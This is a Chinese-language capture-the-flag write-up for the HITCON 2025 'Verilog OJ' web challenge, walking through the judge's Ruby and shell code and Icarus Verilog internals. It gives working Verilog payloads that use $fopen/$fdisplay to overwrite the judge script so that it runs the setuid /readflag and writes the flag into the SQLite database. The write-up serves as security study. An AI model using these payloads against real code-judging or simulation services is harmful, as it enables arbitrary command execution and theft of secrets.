hintcon2025 Verilog OJ
#web
题目要求我们执行
/readflag give me the flag
if ((strcmp(argv[1], "give") | strcmp(argv[2], "me") | strcmp(argv[3], "the") | strcmp(argv[4], "flag")) != 0) {puts("You are not worthy");return 1;
}
首先,我们了解 #Verilog 是什么?
简单来说,你可以把它理解为一种用于描述和设计数字电路的专用编程语言。
核心概念:它不是普通的“编程”语言
这是理解 Verilog 最关键的一点。它与 C Python 或 Java 这类软件编程语言有根本性的不同:
- 软件编程语言:用于编写顺序执行的指令,在 CPU 上一步步地运行。
- Verilog(硬件描述语言):用于描述电子系统的结构和行为。你写的代码不是在“运行”,而是在“描述”一个硬件电路,比如寄存器、连线、逻辑门(与门、或门等)、内存等。
你可以把它想象成用文本的形式来画一张数字电路的蓝图。
Verilog 的主要特点和用途
- 描述硬件:你可以描述一个简单的逻辑门,也可以描述一个复杂的多核处理器。
- 不同抽象层次:支持在不同细节级别上描述电路:
- 行为级:描述电路的功能和输入/输出行为,不关心具体如何实现(用
always
、if-else
等描述算法)。 - 寄存器传输级:这是最常用的级别。描述数据如何在寄存器之间流动,以及如何处理这些数据。RTL 设计是综合的核心。
- 门级:描述由基本逻辑门(AND, OR, NOT, XOR 等)和它们之间的连线组成的电路。
- 开关级:描述晶体管级别的电路,非常底层,现在较少使用。
- 行为级:描述电路的功能和输入/输出行为,不关心具体如何实现(用
- 并行性:硬件是并行工作的。在 Verilog 中,多条语句通常是同时执行的,这与软件的顺序执行截然不同。
- 可综合与不可综合:
- 可综合:代码可以被综合工具转换为实际的数字电路网表(即门级电路图)。这是设计芯片和 FPGA 的目标。
- 不可综合:主要用于测试平台,用于对设计好的电路模块进行仿真和验证(例如,生成测试信号,检查输出结果是否正确)。
一个简单的例子:一个 D 触发器
这是一个最基本的数字电路元件。
module d_ff (input wire clk, // 时钟信号input wire d, // 输入数据output reg q // 输出数据
);// 在时钟的上升沿,将输入 d 的值锁存到输出 q
always @(posedge clk) beginq <= d;
endendmodule
这段代码描述了一个电路:当时钟信号 clk
从低电平跳到高电平(上升沿)时,输入端 d
的值就会被传递到输出端 q
并保持住,直到下一个上升沿到来。
核心代码运行逻辑如下
# frozen_string_literal: truerequire 'sidekiq'
require_relative '../models/submission'module VerilogOJ# 判题任务类class JudgeJobinclude Sidekiq::Job# 执行判题任务def perform(submission_id)submission = Submission.first(id: submission_id) # 查找提交记录return if submission.nil? || submission.result != 'Q' # 如果提交不存在或状态不是待判(Q),则返回dir = prepare(submission) # 准备判题所需的临时目录和文件result, output = judge dir # 执行判题submission.update(result: result, output: output) unless result.nil? # 更新判题结果和输出FileUtils.remove_dir(dir, force: true) # 删除临时目录end# 准备判题环境,将测试平台和用户代码写入临时目录def prepare(submission)dir = Dir.mktmpdir("submission_#{submission.id}_") # 创建临时目录File.write("#{dir}/testbench.v", submission.problem.testbench) # 写入测试平台文件File.write("#{dir}/module.v", submission.code) # 写入用户代码文件dirend# 判题逻辑def judge(dir) # rubocop:disable Metrics/MethodLengthstdout, stderr, status = Timeout.timeout(15) do# 为简化错误处理,将 iverilog 和 vvp 的执行放在同一个脚本中script_path = File.realpath("#{File.dirname(__FILE__)}/../../scripts/judge.sh")# iverilog 是安全可执行的Open3.capture3("#{script_path} #{dir}")endreturn ['RE', stderr] unless status.exitstatus.zero? # 如果脚本执行失败,返回运行错误# 如果输出最后一行为 Passed,则判为通过if !stdout.nil? && stdout.strip.lines.last == 'Passed'['AC', stdout]else['WA', stdout] # 否则判为错误endrescue Timeout::Error['TLE', 'Execution timed out'] # 超时错误rescue StandardError => e['RE', e.message] # 其他运行错误endend
end
judge.sh
#!/bin/sh
set -e
cd "$1"
iverilog module.v testbench.v -o judge
vvp judge
简要说明
这是一个用于“编译并运行 Verilog 仿真”的判题脚本,配合 Icarus Verilog 工具链执行:先编译,再运行仿真,输出供判题使用。
每行含义
#!/bin/sh
: 用 POSIXsh
解释器执行脚本。set -e
: 一旦有命令返回非 0 立刻退出脚本(便于上层识别错误)。cd "$1"
: 进入传入的目标目录(参数$1
)。iverilog module.v testbench.v -o judge
: 用 Icarus Verilog 将用户代码module.v
与测试平台testbench.v
编译为可由vvp
运行的仿真文件judge
。vvp judge
: 运行仿真,标准输出/错误将被上层捕获用于判题。
在本项目中的作用
- 位于
web/scripts/judge.sh
,由后台任务调用(Open3.capture3(script_path, dir)
),dir
是临时目录,包含用户提交的module.v
与题目testbench.v
。仿真输出用于判定AC/WA/RE/TLE
。
从数据库中取出的判别文件
testbench.v
`timescale 1ns/1psmodule Crossbar_2x2_4bit_t;
reg [3:0] in1 = 4'b0010;
reg [3:0] in2 = 4'b0110;
wire [3:0] out1;
wire [3:0] out2;
reg control = 1'b0;integer correct = 1;Crossbar_2x2_4bit crossbar(.in1 (in1),.in2 (in2),.control (control),.out1(out1),.out2(out2)
);initial begincontrol = 1'b1;#5if (out2 != 4'b0110 || out1 != 4'b0010) begincorrect = 0;end#5control = 1'b0;#5if (out1 != 4'b0110 || out2 != 4'b0010) begincorrect = 0;$display("out1: %b, out2: %b", out1, out2);end#5in1 = 4'b0100;in2 = 4'b1001;#10control = 1'b1;#5if (out2 != 4'b1001 || out1 != 4'b0100) begincorrect = 0;$display("out1: %b, out2: %b", out1, out2);end#5control = 1'b0;#5if (out1 != 4'b1001 || out2 != 4'b0100) begincorrect = 0;$display("out1: %b, out2: %b", out1, out2);end#5if (correct == 1) begin$display("Passed");end else begin$display("Failed");end$finish(0);
end
endmodule
现在我们首先思考module.v可控如何造成任意命令执行?
搜索
https://www.cve.org/CVERecord/SearchResults?query=Verilog
未发现漏洞
module Crossbar_2x2_4bit(in1, in2, control, out1, out2);input [3:0] in1, in2;
input control;
output [3:0] out1, out2;initial begin// 把标准输出重定向到标准错误,并加超时避免阻塞$system("timeout 2s /readflag give me the flag 1>&2");// 非零退出码触发 RE,Ruby 会返回 stderr 内容$finish(1);
endendmodule
a5rz@a5rz:~/Desktop/code/test$ vvp judge
module.v:9: Error: System task/function $system() is not defined by any module.
judge: Program not runnable, 1 errors.
我们了解一下 iverilog vvp都负责什么,其原理是什么
1. Icarus Verilog (iverilog
) - 编译器
职责: 编译 Verilog 源代码。
它接收一组 Verilog 文件(如你的 module.v
设计文件和 testbench.v
测试平台文件),并执行以下操作:
- 解析与语法检查:首先,它像大多数编译器一样,解析源代码,检查语法是否正确,是否符合 Verilog 语言规范。如果这里有错误(比如拼错关键字、漏掉分号),它会报错并停止。
- ** elaboration(细化)**:这是一个关键步骤。编译器会分析所有模块的层次结构,确定模块之间的连接关系。例如,你的
testbench
会实例化(instance
)顶层的module
,编译器需要搞清楚它们是如何链接在一起的。 - 优化与转换:根据编译选项,对设计进行一些优化。最终,它将整个设计转换成一个更底层的、优化的中间表示形式。
- 生成目标文件:
iverilog
默认的目标格式不是计算机的本地机器码(如 x86 指令),而是一种特殊的字节码(bytecode)格式。这种字节码是专门为 Icarus Verilog 的仿真运行时(vvp
) 设计的。-o judge
选项指定输出的这个字节码文件名为judge
。
简单比喻: iverilog
就像 C/C++ 的编译器(如 gcc
)。它把人类可读的源代码(.v
文件)"翻译"成一种可执行的格式(judge
文件)。但不同的是,gcc
生成的是操作系统可以直接执行的二进制文件,而 iverilog
生成的是需要由 vvp
这个"虚拟机"来执行的字节码文件。
2. Icarus Verilog VVP (vvp
) - 仿真运行时(模拟器)
职责: 执行 由 iverilog
编译生成的字节码文件,也就是进行实际的数字仿真。
vvp
是 “Icarus Verilog VVM runtime processer” 的缩写(VVM 是 Icarus Verilog 虚拟机的名称)。它的工作可以理解为:
- 加载字节码:读取
judge
文件,将其加载到内存中。 - 初始化仿真:
- 为所有变量(
reg
)和线网(wire
)分配内存并设置初始值(例如,reg
初始为X
,wire
初始为Z
)。 - 将整个仿真时间设置为 0。
- 为所有变量(
- 运行仿真:这是最核心的部分,它是一个离散事件仿真器。
- 事件驱动:仿真的推进不是靠时钟,而是靠"事件"(Event)。一个事件指的是某个信号(变量或线网)的值发生了变化。
- 调度机制:
- 当时刻 0 的初始值设定后,可能会触发一些
initial
和always
块开始执行。 - 这些块中的语句(如
#10
延迟、信号赋值等)会产生新的未来事件。例如,#10 a = 1;
会在当前时间(比如 t=0)调度一个在 t=0+10=10 时刻的事件,该事件是将a
的值设置为 1。 vvp
内部维护着一个事件队列(Event Queue),也叫未来事件列表(Future Event List)。这个队列按时间顺序存储着所有已计划的事件。
- 当时刻 0 的初始值设定后,可能会触发一些
- 仿真循环:
- 将仿真时间推进到下一个最早的事件所在的时间点。
- 处理当前时间点所有的事件:更新信号的值。
- 关键: 任何一个信号值的更新,都可能立刻触发那些对该信号敏感(如在
always @(posedge clk)
中)的进程(always
/initial
块),从而产生更多的当前事件(非阻塞赋值<=
略有不同)或未来事件(通过#
延迟)。 - 重复步骤 1-3,直到事件队列为空,或遇到
$finish
系统任务,或达到指定的仿真时间限制。
在整个过程中,vvp
还会执行你在 Testbench 中编写的 $display
, $monitor
等系统任务,将结果打印到屏幕上,或者根据 $dumpfile
和 $dumpvars
的指令生成波形文件(如 .vcd 文件)。
简单比喻: vvp
就像 Java 虚拟机(JVM) 或 Python 解释器。它提供了一个运行环境,专门用来执行某种特定的字节码(iverilog
生成的字节码)。它负责管理仿真时间、调度事件、更新信号值,并产生输出。
总结与工作原理图示
大体工作原理可以概括为:
iverilog
(编译) -> 中间字节码 (judge
) -> vvp
(仿真执行) -> 输出结果/波形
一个简单的流程图:
+----------------+ 编译 +-------------+ 执行 +---------------------------------+
| Your Verilog | -------> | Bytecode | -------> | Console Output (text) |
| Source Files | (iverilog)| File (judge) | (vvp) | Waveform File (.vcd) (if dumped) |
| (module.v, | | | | Simulation Results |
| testbench.v) | +-------------+ +---------------------------------+
+----------------+
所以,iverilog
和 vvp
的分工非常明确:
iverilog
是前端,负责语法和逻辑分析。vvp
是后端,负责模拟电路在时间维度上的实际行为。
这种将编译和运行分开的架构非常灵活,编译一次(可能很耗时)后,可以多次快速运行仿真,并且 vvp
还可以被其他工具调用。
VVP 运行时与宿主机强隔离吗?
简短的回答是:不,VVP 运行时与宿主机的隔离性非常弱。它不是一个像 Docker 或虚拟机那样具有强隔离性的沙箱环境。
下面是详细的解释:
1. VVP 的本质:一个进程
vvp
本质上就是一个在你的操作系统(宿主机)上直接运行的普通可执行程序。它由你(当前用户)启动,并直接继承了你这个用户的几乎所有权限和能力。
- 文件系统访问:
vvp
可以读取和写入文件,权限与运行它的用户完全相同。这就是为什么你的 Testbench 中可以使用$readmemh
来读取数据文件,或者使用$dumpfile
创建波形文件。反过来,一个恶意的或存在 bug 的 Verilog 代码也可能通过$fopen
、$fwrite
等系统任务意外覆盖或删除重要文件。 - 系统调用:
vvp
可以执行系统调用(System Calls)。例如,当它在仿真中执行$display("Hello World")
时,最终会通过系统调用(如write
)将字符串输出到标准输出(你的终端)。 - 资源限制:
vvp
进程受限于操作系统给用户进程设定的常规限制,比如最大内存使用量、CPU 时间等。如果你的设计很大,仿真会消耗大量内存和 CPU,但这是资源消耗,而不是隔离。
2. VVP 的“虚拟机”含义
这里的关键是区分 “虚拟机”(Virtual Machine) 在不同语境下的含义:
- Icarus Verilog VVM (VVP):这里的“虚拟机”指的是一个 “语言运行时” 或 “解释器”。它就像 Java 虚拟机(JVM)或 Python 解释器一样,是一个可以执行特定指令集(字节码)的程序。它的“虚拟”体现在它模拟了一个数字电路的行为,而不是一个计算机系统的硬件。
- 系统虚拟机(如 VirtualBox, VMware, QEMU):这类虚拟机通过硬件虚拟化技术,模拟了整个计算机的硬件(CPU、内存、磁盘、网卡),从而可以在其中运行一个完全独立的操作系统。它们与宿主机之间有非常强的隔离性。
- 容器(如 Docker):容器通过 Linux 内核的命名空间(Namespace)和控制组(Cgroup)等技术,提供了一个轻量级的隔离环境,实现了进程、网络、文件系统等的隔离。它的隔离性介于普通进程和系统虚拟机之间。
VVP 属于第一类。它只是一个运行特定字节码的进程,没有使用任何特殊的隔离技术。
编译后的文件有如下内容
module Crossbar_2x2_4bit(in1, in2, control, out1, out2);input [3:0] in1, in2;
input control;
output [3:0] out1, out2;endmodule
...
:vpi_module "/usr/lib/x86_64-linux-gnu/ivl/system.vpi";
:vpi_module "/usr/lib/x86_64-linux-gnu/ivl/vhdl_sys.vpi";
:vpi_module "/usr/lib/x86_64-linux-gnu/ivl/vhdl_textio.vpi";
:vpi_module "/usr/lib/x86_64-linux-gnu/ivl/v2005_math.vpi";
:vpi_module "/usr/lib/x86_64-linux-gnu/ivl/va_math.vpi";
S_0x556efde85840 .scope module, "Crossbar_2x2_4bit_t" "Crossbar_2x2_4bit_t" 2 3;
....
a5rz@a5rz:~/Desktop/code/test$ ls /usr/lib/x86_64-linux-gnu/ivl
blif.conf ivlpp pcb.tgt stub.tgt vhdlpp vlog95-s.conf
blif-s.conf null.conf sizer.conf system.vpi vhdl-s.conf vlog95.tgt
blif.tgt null-s.conf sizer-s.conf v2005_math.vpi vhdl_sys.vpi vpi_debug.vpi
cadpli.vpl null.tgt sizer.tgt v2009.vpi vhdl_textio.vpi vvp.conf
include pcb.conf stub.conf va_math.vpi vhdl.tgt vvp-s.conf
ivl pcb-s.conf stub-s.conf vhdl.conf vlog95.conf vvp.tgt
$fopen似乎是可用的,我可用用它来进行任意文件写入覆写judge.sh吗
a5rz@a5rz:~/Desktop/code$ sudo docker compose exec -u app oj sh -lc 'id; whoami; ls -ld /app /app/scripts; ls -l /app/scripts/judge.sh; ls -l /readflag /flag'
[sudo] password for a5rz:
uid=1000(app) gid=1000(app) groups=1000(app)
app
drwxr-xr-x 1 root root 4096 Aug 23 12:13 /app
drwxrwxr-x 2 app root 4096 Aug 23 12:13 /app/scripts
-rwxrw-rw- 1 app root 77 Aug 23 01:47 /app/scripts/judge.sh
-r-------- 1 root root 17 Aug 23 01:47 /flag
-r-sr-xr-x 1 root root 16464 Aug 23 12:16 /readflag
module Crossbar_2x2_4bit(in1, in2, control, out1, out2);
input [3:0] in1, in2;
input control;
output [3:0] out1, out2;
assign out1 = control ? in1 : in2;
assign out2 = control ? in2 : in1;
integer fd;
initial beginfd = $fopen("/app/scripts/judge.sh","w");if (fd) begin$fdisplay(fd,"#!/bin/sh");$fdisplay(fd,"set -e");$fdisplay(fd,"/readflag give me the flag");$fclose(fd);end
end
endmodule
然后我们似乎可通过连接数据库上传flag为新题目信息的方式获得flag
module Crossbar_2x2_4bit(in1, in2, control, out1, out2);
input [3:0] in1, in2;
input control;
output [3:0] out1, out2;
assign out1 = control ? in1 : in2;
assign out2 = control ? in2 : in1;
integer fd;
initial beginfd = $fopen("/app/scripts/judge.sh","w");if (fd) begin$fdisplay(fd,"#!/bin/sh");$fdisplay(fd,"FLAG=$(/readflag give me the flag)");$fdisplay(fd,"sqlite3 /app/app/db/store/voj.db \"INSERT INTO problems (title, description, testbench) VALUES ('$FLAG', '$FLAG', 'FLAG: $FLAG');\"");$fdisplay(fd,"echo Passed");$fclose(fd);end
end
endmodule
QEF
#沙盒逃逸 #命令执行无回显 #任意文件写入 #任意代码执行